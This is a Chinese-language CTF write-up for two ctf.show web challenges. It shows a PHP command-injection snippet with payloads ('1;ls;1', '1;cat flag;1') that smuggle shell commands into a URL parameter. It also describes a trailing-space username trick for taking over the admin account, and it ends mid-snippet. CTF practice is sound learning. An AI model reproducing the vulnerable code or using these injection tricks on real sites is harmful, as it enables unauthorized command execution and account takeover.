CTF show 萌新赛web

平台地址：https://ctf.show

0x01 web_签到

源码：

<?php 
if(isset($_GET['url'])){
   
   
        system("curl https://".$_GET['url'].".ctf.show");
}else{
   
   
        show_source(__FILE__);
}
 ?>

很明显的命令执行漏洞，我们把前后闭合即可，payload：①1;ls;1 ②1;cat flag;1

0x02 web_假赛生

根据提示，存在 login.php register.php，根据要求需要用户名为admin，我们尝试注册发现已存在，接着尝试注册用户名admin+空格，接着用admin登录，发现登录成功
，接着需要绕过这个正则表达式，我们直接c等于空不就可以绕过了嘛，成功拿到flag

if(isset($_GET['c'])){
   
   
            preg_replace_callback